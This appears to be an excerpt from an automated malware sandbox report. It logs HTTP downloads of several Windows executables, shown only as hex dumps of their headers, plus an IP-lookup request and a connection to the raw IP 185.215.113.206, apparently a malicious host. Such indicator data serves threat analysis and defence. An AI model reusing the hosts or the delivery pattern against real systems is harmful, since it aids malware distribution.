00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 10:21:42 GMTContent-Type: application/octet-streamContent-Length: 1888256Last-Modified: Mon, 02 Dec 2024 09:40:44 GMTConnection: keep-aliveETag: "674d809c-1cd000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 8b ee 4c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 90 03 00 00 b6 00 00 00 00 00 00 00 d0 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4b 00 00 04 00 00 af 0e 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c f0 04 00 70 00 00 00 00 e0 04 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 04 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 04 00 00 10 00 00 00 1e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 e0 04 00 00 02 00 00 00 2e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 04 00 00 02 00 00 00 30 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 00 05 00 00 02 00 00 00 32 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6a 75 78 70 77 6f 67 00 80 1a 00 00 40 30 00 00 76 1a 00 00 34 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 69 76 6d 6c 72 67 66 00 10 00 00 00 c0 4a 00 00 04 00 00 00 aa 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4a 00 00 22 00 00 00 ae 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 10:21:50 GMTContent-Type: application/octet-streamContent-Length: 1760256Last-Modified: Mon, 02 Dec 2024 09:40:51 GMTConnection: keep-aliveETag: "674d80a3-1adc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 3c e7 4a 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 22 01 00 00 00 00 00 00 a0 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 67 00 00 04 00 00 51 2f 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 29 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6f 6c 6f 63 6d 70 6f 00 40 19 00 00 50 4e 00 00 3e 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 61 76 6c 76 79 6f 71 00 10 00 00 00 90 67 00 00 04 00 00 00 b6 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 67 00 00 22 00 00 00 ba 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 10:21:57 GMTContent-Type: application/octet-streamContent-Length: 973312Last-Modified: Mon, 02 Dec 2024 09:39:34 GMTConnection: keep-aliveETag: "674d8056-eda00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4e 80 4d 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 2a 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 91 92 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 f0 6f 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 6f 01 00 00 40 0d 00 00 70 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 64 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 10:22:03 GMTContent-Type: application/octet-streamContent-Length: 2787840Last-Modified: Mon, 02 Dec 2024 09:40:00 GMTConnection: keep-aliveETag: "674d8070-2a8a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 a6 f4 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 6e 78 6a 68 62 61 73 00 40 2a 00 00 a0 00 00 00 2a 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 62 64 7a 65 77 76 72 00 20 00 00 00 e0 2a 00 00 04 00 00 00 64 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 68 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 10:22:21 GMTContent-Type: application/octet-streamContent-Length: 2787840Last-Modified: Mon, 02 Dec 2024 09:40:02 GMTConnection: keep-aliveETag: "674d8072-2a8a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 a6 f4 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 6e 78 6a 68 62 61 73 00 40 2a 00 00 a0 00 00 00 2a 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 62 64 7a 65 77 76 72 00 20 00 00 00 e0 2a 00 00 04 00 00 00 64 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 68 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 02 Dec 2024 10:22:34 GMTContent-Type: application/octet-streamContent-Length: 2787840Last-Modified: Mon, 02 Dec 2024 09:40:02 GMTConnection: keep-aliveETag: "674d8072-2a8a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 a6 f4 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 6e 78 6a 68 62 61 73 00 40 2a 00 00 a0 00 00 00 2a 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 62 64 7a 65 77 76 72 00 20 00 00 00 e0 2a 00 00 04 00 00 00 64 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 68 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 02 Dec 2024 10:22:34 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="ONE.file";Content-Length: 3682125Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 64 93 00 00 00 10 00 00 00 94 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 4c 02 00 00 00 b0 00 00 00 04 00 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 88 0e 00 00 00 c0 00 00 00 00 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 b4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
